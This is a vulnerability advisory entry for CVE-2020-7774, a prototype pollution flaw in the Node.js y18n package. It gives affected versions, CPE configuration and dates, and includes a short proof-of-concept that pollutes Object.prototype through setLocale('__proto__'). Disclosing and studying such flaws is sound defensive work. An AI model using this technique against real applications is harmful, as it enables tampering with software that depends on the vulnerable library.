CVE-2020-7774

This affects the package y18n before 3.2.2, 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true
Configurations

Configuration 1 (hide)

OR cpe:2.3:a:y18n_project:y18n:*:*:*:*:*:node.js:*:*
cpe:2.3:a:y18n_project:y18n:*:*:*:*:*:node.js:*:*

Information

Published : 2020-11-17 13:15

Updated : 2021-07-21 11:39


NVD link : CVE-2020-7774

Mitre link : CVE-2020-7774


JSON object : View

Products Affected

y18n_project

  • y18n
CWE
CWE-20

Improper Input Validation